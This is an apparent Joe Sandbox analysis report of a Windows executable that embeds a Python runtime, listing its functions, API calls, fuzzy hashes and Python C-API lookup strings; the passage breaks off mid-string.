Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: DeleteErrorFileLast
String ID:
API String ID: 2018770650-0
Opcode ID: b1319888d58344e1d146038dbe51c945b0a95c66f9246088a0a26429922302e0
Instruction ID: 46a3489ce3a848b5f525f0aa081eaa1ffae8be36dfd6149e2e51aefe94cc5a88
Opcode Fuzzy Hash: b1319888d58344e1d146038dbe51c945b0a95c66f9246088a0a26429922302e0
Instruction Fuzzy Hash: 47D01214F3892381F614B7F15C8507911946F4572CF681B3CC02DF12F0DEDCA08A5101

Function 00007FF652EE8648 Relevance: 3.0, APIs: 2, Instructions: 12COMMON

Download Yara Rule

APIs

RemoveDirectoryW.KERNELBASE ref: 00007FF652EE864C
GetLastError.KERNEL32 ref: 00007FF652EE8656

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: DirectoryErrorLastRemove
String ID:
API String ID: 377330604-0
Opcode ID: 37b4a7e4d00d01a0eafeac234b577e395ecf372998b901b949fd5718f631df3e
Instruction ID: e2121ec0ca674ff9b67edbf703efa8b69fdc28aafa13397f07dc41d016b29e70
Opcode Fuzzy Hash: 37b4a7e4d00d01a0eafeac234b577e395ecf372998b901b949fd5718f631df3e
Instruction Fuzzy Hash: E8D01254F2996385F61467B56C4547911906F84B3DF681A3CC01DF12E0DEECA04A5502

Function 00007FF652EEB910 Relevance: 2.6, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,?,00007FF652EEB78D,?,?,00000000,00007FF652EEB842), ref: 00007FF652EEB97E
GetLastError.KERNEL32(?,?,?,00007FF652EEB78D,?,?,00000000,00007FF652EEB842), ref: 00007FF652EEB988

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: 3fd0f83af0628cda6e58ba1b17cfc613668cd8d43ebee099ac9aff2e4f27651a
Instruction ID: 28f0ac4c376f229a03286a7bc89f10f68640514ff01280227a2413ca346aab0c
Opcode Fuzzy Hash: 3fd0f83af0628cda6e58ba1b17cfc613668cd8d43ebee099ac9aff2e4f27651a
Instruction Fuzzy Hash: 7821C651B0866341EE949725AD9027D12816F54BACF5C433DDA6EE73E6CEECE4498300

Function 00007FF652ED7F50 Relevance: 1.6, APIs: 1, Instructions: 141COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF652ED8DE0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF652ED2A9B), ref: 00007FF652ED8E1A

_findclose.LIBCMT ref: 00007FF652ED81A9

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: ByteCharMultiWide_findclose
String ID:
API String ID: 2772937645-0
Opcode ID: aa2a36deec39c3a11ec2b62d31fe43dc86d3decf01d493f1b5c8a3539a39b282
Instruction ID: aad88034ef91da5904e063cab434b1222a8983d6fd188869fe2f6e23c24f4ef7
Opcode Fuzzy Hash: aa2a36deec39c3a11ec2b62d31fe43dc86d3decf01d493f1b5c8a3539a39b282
Instruction Fuzzy Hash: 97718D52E18BC581E711CB2CD9052FD6360F7A9B4CF58E329DB9C62592EF68E2D9C700

Function 00007FF652EECC5C Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF652EECC84

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 23588c1d4a76148e9b0b46970dab15bc80394bd809d2a1daf00a983cf625f788
Instruction ID: 243ea384a212898d57d30a308eb7ef233149a68757f13768cf81fcda4dfbf3b2
Opcode Fuzzy Hash: 23588c1d4a76148e9b0b46970dab15bc80394bd809d2a1daf00a983cf625f788
Instruction Fuzzy Hash: 9941E73390921387EA64DB25E94017D77A0FF56B48F182239D69EE36A0CFADE402C751

Function 00007FF652ED85F0 Relevance: 1.6, APIs: 1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: DirectoryErrorLastRemove
String ID:
API String ID: 377330604-0
Opcode ID: 9b68c8e0b8cd10c838e6d7f4f4b55f470fe5ed83debbdf123e575bf7c203fc29
Instruction ID: ba0b23136f3a374e25ed023c6ca8ae096b3e6c78b47ed3732c8e5a6b8f170ded
Opcode Fuzzy Hash: 9b68c8e0b8cd10c838e6d7f4f4b55f470fe5ed83debbdf123e575bf7c203fc29
Instruction Fuzzy Hash: AC41A416D1C69681E711DB24D9013FD6360FBE5B88F48A63ADF8DA3193EF68A5D9C300

Function 00007FF652ED84C0 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF652ED856A

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: 6d3c7b181ef6f9ff6db6d645a81eef8910887d163046eb46ef411d48f89b68c2
Instruction ID: d32d6b0d90a515b212c153fc4c22aad87d9aab4309ffc6113103b7021f5dd251
Opcode Fuzzy Hash: 6d3c7b181ef6f9ff6db6d645a81eef8910887d163046eb46ef411d48f89b68c2
Instruction Fuzzy Hash: 02218521B096B245FB50DB126D047FAA652BF85BD8F8C543CDE0DA7786DEBDE442C600

Function 00007FF652EEC6EC Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF652EEC772

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 9d46e4dc1c7706e1baa247f93764384ede75e9bcf433252d370e5f4900f7c3d5
Instruction ID: 2b2ebd798dbb89b457d88581682eca930bc7527121fd6411ca4768b1193df061
Opcode Fuzzy Hash: 9d46e4dc1c7706e1baa247f93764384ede75e9bcf433252d370e5f4900f7c3d5
Instruction Fuzzy Hash: 5631F563E0866381F7059B258C423BC2A50AF40B99F49163DDA1DB73D2DFFCE4428351

Function 00007FF652EEA715 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF652EEA743

Part of subcall function 00007FF652EEA83C: GetModuleHandleExW.KERNEL32 ref: 00007FF652EEA861
Part of subcall function 00007FF652EEA83C: GetProcAddress.KERNEL32 ref: 00007FF652EEA877
Part of subcall function 00007FF652EEA83C: FreeLibrary.KERNEL32 ref: 00007FF652EEA89E

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: 9c0127de50016242ddc74074b6af7f5d0c7ecdfc40d630aae62ff1a96a90ed2f
Instruction ID: f912d64fb96f8294a91f8ae072cd009d6cb68d96fa19963b04a3d263bfa91cd0
Opcode Fuzzy Hash: 9c0127de50016242ddc74074b6af7f5d0c7ecdfc40d630aae62ff1a96a90ed2f
Instruction Fuzzy Hash: 34217136A04A2689EB14CF64C8566AC37B0EB4471CF58063DD61D96BD5DFB8D485C780

Function 00007FF652EE69E4 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF652EE6949

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: a12511eb413a20500788068782fa49ddb1fe92b02a1e7189881bce5d81ea64e9
Instruction ID: 502ae27ed876f42434a1653eca015659a723e0e93e0846f74c41cc4db3e204bd
Opcode Fuzzy Hash: a12511eb413a20500788068782fa49ddb1fe92b02a1e7189881bce5d81ea64e9
Instruction Fuzzy Hash: 2B11D821A0C6A341EE649F119C1027DA3A0BF96B88F5C4039EA8CE7796DFBED4008740

Function 00007FF652EF748C Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF652EF74AF

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 14b88cdde8f100e0c11df9c25968cfa6048feb9caeb9ba24198eb79990a08c61
Instruction ID: 4a1074f9b3cffe1422d503fc7bf9ec147f3374a5b988c7945da139c3c503f9fa
Opcode Fuzzy Hash: 14b88cdde8f100e0c11df9c25968cfa6048feb9caeb9ba24198eb79990a08c61
Instruction Fuzzy Hash: 5621A772A18A5246DB618F18F85037A77A1EB84B98F584238E65DD76D9DF7CD801CB00

Function 00007FF652EE0CEC Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF652EE0D40

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: cb4a28c9cfe68d4bf5caf65282be0dfe2d74942f75b7edef78e8fd4dc80d0569
Instruction ID: 37fa9f3cf19230278f6c098612e758b13bed30dfd683c6c9727a03ce544ec5fc
Opcode Fuzzy Hash: cb4a28c9cfe68d4bf5caf65282be0dfe2d74942f75b7edef78e8fd4dc80d0569
Instruction Fuzzy Hash: 2501C861A0876342EA05DB52AC0007DA7A5BF46FE8F4C4639DE5CB7BDADEBDE1018300

Function 00007FF652EEF948 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,00000000,00007FF652EEC196,?,?,?,00007FF652EEB35B,?,?,00000000,00007FF652EEB5F6), ref: 00007FF652EEF99D

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 83da86fcac40c5efe6be46efa8cccb7ed61db28345aee0e9c2556edc7e0339ef
Instruction ID: f2df9a9c7ede13a890edcfa90dfe153f4e4428a6de6420e531c66e5acef6bcf3
Opcode Fuzzy Hash: 83da86fcac40c5efe6be46efa8cccb7ed61db28345aee0e9c2556edc7e0339ef
Instruction Fuzzy Hash: EEF02401F0A72391FE5457E1AC603B512904FA8B88F4C443CCD4EFA3C5EEDDE4808212

Function 00007FF652EEE3AC Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF652EE1514,?,?,?,00007FF652EE2A26,?,?,?,?,?,00007FF652EE4019), ref: 00007FF652EEE3EA

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: d8b55510c5610d80ab4c44b86d687719a9e038cf882b555fd49ed5282eff217e
Instruction ID: 3bb638fbe0fcaf54c0b356accb4c4e198088ae9a25376b0f5b1d5e079077cef2
Opcode Fuzzy Hash: d8b55510c5610d80ab4c44b86d687719a9e038cf882b555fd49ed5282eff217e
Instruction Fuzzy Hash: EBF01211F1E2B745FE5867A16C516BA51914F487B8F0C0638DD2EE67C1DEDCE481C111

Non-executed Functions

Function 00007FF652ED53F0 Relevance: 233.1, APIs: 44, Strings: 89, Instructions: 363libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?,00000000,00007FF652ED344E), ref: 00007FF652ED5400
GetProcAddress.KERNEL32(?,?,00000000,00007FF652ED344E), ref: 00007FF652ED543A
GetProcAddress.KERNEL32(?,?,00000000,00007FF652ED344E), ref: 00007FF652ED545F
GetProcAddress.KERNEL32(?,?,00000000,00007FF652ED344E), ref: 00007FF652ED5484
GetProcAddress.KERNEL32(?,?,00000000,00007FF652ED344E), ref: 00007FF652ED54AC
GetProcAddress.KERNEL32(?,?,00000000,00007FF652ED344E), ref: 00007FF652ED54D4
GetProcAddress.KERNEL32(?,?,00000000,00007FF652ED344E), ref: 00007FF652ED54FC
GetProcAddress.KERNEL32(?,?,00000000,00007FF652ED344E), ref: 00007FF652ED5524
GetProcAddress.KERNEL32(?,?,00000000,00007FF652ED344E), ref: 00007FF652ED554C
GetProcAddress.KERNEL32(?,?,00000000,00007FF652ED344E), ref: 00007FF652ED5574

Strings

Failed to get address for PyConfig_SetBytesString, xrefs: 00007FF652ED55AE
Failed to get address for PyMarshal_ReadObjectFromString, xrefs: 00007FF652ED57DE
Failed to get address for PyErr_Print, xrefs: 00007FF652ED56C6
PyConfig_SetBytesString, xrefs: 00007FF652ED5592
PyUnicode_DecodeFSDefault, xrefs: 00007FF652ED5A1A
Failed to get address for PyErr_Fetch, xrefs: 00007FF652ED564E
PyErr_Print, xrefs: 00007FF652ED56AA
PyRun_SimpleStringFlags, xrefs: 00007FF652ED592A
Failed to get address for PyConfig_InitIsolatedConfig, xrefs: 00007FF652ED555E
PyMem_RawFree, xrefs: 00007FF652ED57EA
PyConfig_SetString, xrefs: 00007FF652ED55BA
PyConfig_InitIsolatedConfig, xrefs: 00007FF652ED5542
Py_ExitStatusException, xrefs: 00007FF652ED5455
PyImport_ImportModule, xrefs: 00007FF652ED5772
Failed to get address for PyObject_GetAttrString, xrefs: 00007FF652ED58A6
PyConfig_Read, xrefs: 00007FF652ED556A
PyUnicode_AsUTF8, xrefs: 00007FF652ED59CA
Failed to get address for Py_ExitStatusException, xrefs: 00007FF652ED5471
Failed to get address for Py_Finalize, xrefs: 00007FF652ED5496
PyStatus_Exception, xrefs: 00007FF652ED5952
PyModule_GetDict, xrefs: 00007FF652ED5812
PyEval_EvalCode, xrefs: 00007FF652ED56FA
Failed to get address for PyUnicode_Decode, xrefs: 00007FF652ED5A0E
PyErr_Fetch, xrefs: 00007FF652ED5632
PyErr_Clear, xrefs: 00007FF652ED560A
PyObject_GetAttrString, xrefs: 00007FF652ED588A
Failed to get address for PyImport_AddModule, xrefs: 00007FF652ED573E
Py_PreInitialize, xrefs: 00007FF652ED54F2
PyObject_CallFunction, xrefs: 00007FF652ED583A
Failed to get address for PyRun_SimpleStringFlags, xrefs: 00007FF652ED5946
Failed to get address for PyConfig_Clear, xrefs: 00007FF652ED5536
Failed to get address for PySys_SetObject, xrefs: 00007FF652ED59BE
Failed to get address for Py_IsInitialized, xrefs: 00007FF652ED54E6
Failed to get address for PyEval_EvalCode, xrefs: 00007FF652ED5716
Failed to get address for PyImport_ImportModule, xrefs: 00007FF652ED578E
Failed to get address for Py_DecRef, xrefs: 00007FF652ED5412
Failed to get address for PyList_Append, xrefs: 00007FF652ED57B6
Py_InitializeFromConfig, xrefs: 00007FF652ED54A2
Failed to get address for PyConfig_SetString, xrefs: 00007FF652ED55D6
Failed to get address for PyImport_ExecCodeModule, xrefs: 00007FF652ED5766
Failed to get address for PyUnicode_Join, xrefs: 00007FF652ED5AAE
Py_IsInitialized, xrefs: 00007FF652ED54CA
Failed to get address for PyObject_Str, xrefs: 00007FF652ED58F6
Failed to get address for PyObject_CallFunction, xrefs: 00007FF652ED5856
PySys_SetObject, xrefs: 00007FF652ED59A2
Failed to get address for PyConfig_SetWideStringList, xrefs: 00007FF652ED55FE
PyObject_CallFunctionObjArgs, xrefs: 00007FF652ED5862
PyUnicode_FromString, xrefs: 00007FF652ED5A6A
Failed to get address for PyUnicode_Replace, xrefs: 00007FF652ED5AD6
PyList_Append, xrefs: 00007FF652ED579A
Py_DecRef, xrefs: 00007FF652ED53F6
PyPreConfig_InitIsolatedConfig, xrefs: 00007FF652ED5902
PyObject_Str, xrefs: 00007FF652ED58DA
Failed to get address for PyStatus_Exception, xrefs: 00007FF652ED596E
PySys_GetObject, xrefs: 00007FF652ED597A
Failed to get address for PyPreConfig_InitIsolatedConfig, xrefs: 00007FF652ED591E
Failed to get address for PyMem_RawFree, xrefs: 00007FF652ED5806
Failed to get address for Py_DecodeLocale, xrefs: 00007FF652ED544C
PyConfig_SetWideStringList, xrefs: 00007FF652ED55E2
PyMarshal_ReadObjectFromString, xrefs: 00007FF652ED57C2
Py_Finalize, xrefs: 00007FF652ED547A
Failed to get address for PyErr_NormalizeException, xrefs: 00007FF652ED5676
Failed to get address for PyObject_CallFunctionObjArgs, xrefs: 00007FF652ED587E
PyUnicode_FromFormat, xrefs: 00007FF652ED5A42
PyErr_Restore, xrefs: 00007FF652ED56D2
Failed to get address for PyUnicode_AsUTF8, xrefs: 00007FF652ED59E6
GetProcAddress, xrefs: 00007FF652ED5419
PyConfig_Clear, xrefs: 00007FF652ED551A
Failed to get address for PyErr_Clear, xrefs: 00007FF652ED5626
PyImport_AddModule, xrefs: 00007FF652ED5722
Failed to get address for PyUnicode_FromFormat, xrefs: 00007FF652ED5A5E
Failed to get address for PySys_GetObject, xrefs: 00007FF652ED5996
Py_DecodeLocale, xrefs: 00007FF652ED5430
PyUnicode_Replace, xrefs: 00007FF652ED5ABA
PyErr_NormalizeException, xrefs: 00007FF652ED565A
Failed to get address for PyObject_SetAttrString, xrefs: 00007FF652ED58CE
PyImport_ExecCodeModule, xrefs: 00007FF652ED574A
PyObject_SetAttrString, xrefs: 00007FF652ED58B2
Failed to get address for PyModule_GetDict, xrefs: 00007FF652ED582E
Failed to get address for Py_PreInitialize, xrefs: 00007FF652ED550E
Failed to get address for Py_InitializeFromConfig, xrefs: 00007FF652ED54BE
PyErr_Occurred, xrefs: 00007FF652ED5682
Failed to get address for PyErr_Restore, xrefs: 00007FF652ED56EE
Failed to get address for PyConfig_Read, xrefs: 00007FF652ED5586
Failed to get address for PyErr_Occurred, xrefs: 00007FF652ED569E
PyUnicode_Join, xrefs: 00007FF652ED5A92
PyUnicode_Decode, xrefs: 00007FF652ED59F2
Failed to get address for PyUnicode_FromString, xrefs: 00007FF652ED5A86
Failed to get address for PyUnicode_DecodeFSDefault, xrefs: 00007FF652ED5A36

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: AddressProc
String ID: Failed to get address for PyConfig_Clear$Failed to get address for PyConfig_InitIsolatedConfig$Failed to get address for PyConfig_Read$Failed to get address for PyConfig_SetBytesString$Failed to get address for PyConfig_SetString$Failed to get address for PyConfig_SetWideStringList$Failed to get address for PyErr_Clear$Failed to get address for PyErr_Fetch$Failed to get address for PyErr_NormalizeException$Failed to get address for PyErr_Occurred$Failed to get address for PyErr_Print$Failed to get address for PyErr_Restore$Failed to get address for PyEval_EvalCode$Failed to get address for PyImport_AddModule$Failed to get address for PyImport_ExecCodeModule$Failed to get address for PyImport_ImportModule$Failed to get address for PyList_Append$Failed to get address for PyMarshal_ReadObjectFromString$Failed to get address for PyMem_RawFree$Failed to get address for PyModule_GetDict$Failed to get address for PyObject_CallFunction$Failed to get address for PyObject_CallFunctionObjArgs$Failed to get address for PyObject_GetAttrString$Failed to get address for PyObject_SetAttrString$Failed to get address for PyObject_Str$Failed to get address for PyPreConfig_InitIsolatedConfig$Failed to get address for PyRun_SimpleStringFlags$Failed to get address for PyStatus_Exception$Failed to get address for PySys_GetObject$Failed to get address for PySys_SetObject$Failed to get address for PyUnicode_AsUTF8$Failed to get address for PyUnicode_Decode$Failed to get address for PyUnicode_DecodeFSDefault$Failed to get address for PyUnicode_FromFormat$Failed to get address for PyUnicode_FromString$Failed to get address for PyUnicode_Join$Failed to get address for PyUnicode_Replace$Failed to get address for Py_DecRef$Failed to get address for 